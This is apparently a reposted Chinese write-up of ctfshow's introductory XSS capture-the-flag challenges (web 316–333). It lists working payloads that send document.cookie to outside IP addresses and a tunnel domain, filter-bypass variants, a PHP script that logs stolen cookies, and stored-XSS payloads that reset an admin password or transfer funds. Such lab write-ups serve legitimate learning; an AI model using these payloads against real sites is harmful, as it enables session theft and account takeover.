ctfshow_web入門 xss


額,怎么說呢,對xss理解不深刻,雖然做了XSS-LAB,但是感覺不會用,看了群主的視頻,知道了原因,用群主的話來說就是,X的是自己。。。

這個文章寫得比較潦草。。。

准備一個帶nc的工具;

無vps

"""

牛啊牛啊!群主之前發了一個無公網IP反彈shell的視頻,學到了學到了,牛啊牛啊。太牛了,群主頂呱呱。

"""

這里以web321做一個例子:

准備:kali虛擬機,花生殼

image-20210831170610965

先進行穿透,接着測試一下本地能不能連通什么的。我虛擬機的虛擬網卡需要重啟一下才能夠連通虛擬機。如果本地不能連通,那么就反彈不了。當然這里不需要反彈shell,只需要外帶就行。

先進行本地測試:windows(本機)curl 域名,kali偵聽8181端口(穿透哪個端口,就偵聽哪一個)

image-20210831171626558

可以看到kali能夠接受到windows這邊的請求。

接着就可以在題目中進行外帶cookie了:

image-20210831172232057

這就外帶成功了。大師傅牛啊牛啊。

這種方式外帶,需要等10秒

有vps就不多說了,看一看防火牆開端口,或者是安全組開端口沒,關閉防火牆之后也可能別安全組擋下來(又有的叫安全策略組,叫法無所謂)。

再看看nc工具是不是需要更新一下(加一個--v參數,如果指定的參數和顯示的參數不一樣,就說明nc有點小毛病了)。或者是多重啟幾次。。。

我之前能踩的坑都踩了一遍,一天下來一個題都沒做。xss全是x的自己,嗚嗚嗚。

搜尋一波能夠XSS的先

外帶

<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>

<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>

<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>

<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
通過autofocus屬性執行本身的focus事件,這個向量是使焦點自動跳到輸入元素上,觸發焦點事件,無需用戶去觸發

<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

web 316

需要生成鏈接,拿到管理員的cookie;提交構造的連接,后台bot每隔10S會點擊一次鏈接。

要注意,拿cookie要拿管理員的cookie,或者說是拿后台bot的cookie,而不是拿自己的cookie;

按照上面的那個步驟做就好了

web 317

說的是過濾了xss,所以只能夠用自己的vps了

web 320

過濾空格

用tab代替,在hackbar中寫入%09,利用hackbar進行urldecode

用/**/代替

web 321

不知道過濾了啥

paylaod:

<body	onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">

web 322

不知道過濾了啥,同上

web 323-6

<body/**/onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">

感覺是,姿勢越騷,越不容易被過濾

看了一下,Y4爺的博客,

324過濾;

325過濾.,?但是沒有感覺喃?

web 327

存儲型xss;發送者和接受者都用的admin,剩余的隨便,內容是:<body onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">

拿到了flag,但是怎么就拿到了呢???

看了視頻,大師傅說的是,發送者是admin就行了

web 328

在本地,不知道為啥nc拿不到數據了,所以采用寫接受腳本的方式來接受cookie

<?php
$data=$_GET['data'];
$myfile=fopen('xss_flag.txt',"w") or die("unable to open file!");
fwrite($myfile,$data);
echo "done";
?>

唔,按理來講,將花生殼的端口修改為80端口(kali用的是PHP7.3和Apache),也能夠接受信息,但是虛擬機出了點問題,所以就用了vps;腳本還是不變;

解題:

注冊用戶名隨便設置:

密碼如下:

<body onload="window.open('http://121.41.2.26/x.php?data=/'+document.cookie)"></body>

或者

<script>window.location.href='http://121.41.2.26/x.php?data='+document.cookie</script>

接着登錄:查看xss_flag.txt,拿到admin的cookie

image-20210905220120349

將cookie修改為admin的cookie

image-20210905220357837

開啟抓包,刷新界面,一步一步forward,即可看到flag

image-20210905220335982

web 329

不會,思路是:執行js代碼,實現頁面內容的外帶

web 330

想的是登錄管理員的賬號,由於沒有密碼

思路是:修改管理員密碼,以管理員身份進行登錄

解題:

注冊:

賬戶名為<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>

密碼:1

接着用賬戶<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>登錄一次,登出;

登錄管理員賬號:admin 密碼:3(抓包防止跳轉)

web 331

試了一下賬號密碼等地方的注入,都不行,所以抓包看一下,發現是利用post方式進行已交,那么就構造post提交的的方式。

大師傅是構造的:(從源代碼中的js文件中找到的一個ajax提交)

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

bfengj師傅利用js發送了一個http請求:

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>

web 332

登錄檢查一遍,發現是post傳參,所以依舊似是用331的payload來進行了一次提交,結果不行。於是看了大師傅的視頻。

???轉賬-10000

隨便注冊登錄一下,接着在轉賬界面,收款用戶是admin,然后付款-10000,接着購買

web 333

盲猜是轉賬加過濾了332的情況。

注冊賬戶:12,密碼隨便

注冊賬戶: <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>,密碼隨便

隨后登錄賬戶12,即可購買flag。

/api/amount.php <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>

總結

雖然說題是做完了,同樣也了解了反射型和存儲型XSS的攻擊方式。反射型是生成了鏈接同時被后台點擊,存儲型這里就不太清楚了,感覺是生成了被反復執行的代碼存放到了后台。同時每一次訪問該界面就會觸發一次。

因為做題時是看的大師傅的視頻和bfengj師傅的博客,學習到了很多。

同時也被兩位師傅的技術棧給震撼到。一路過來都是看的各種師傅們的博客,在做題的時候也學習到了各種方法。

所以有事沒事,看看ctfshow


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM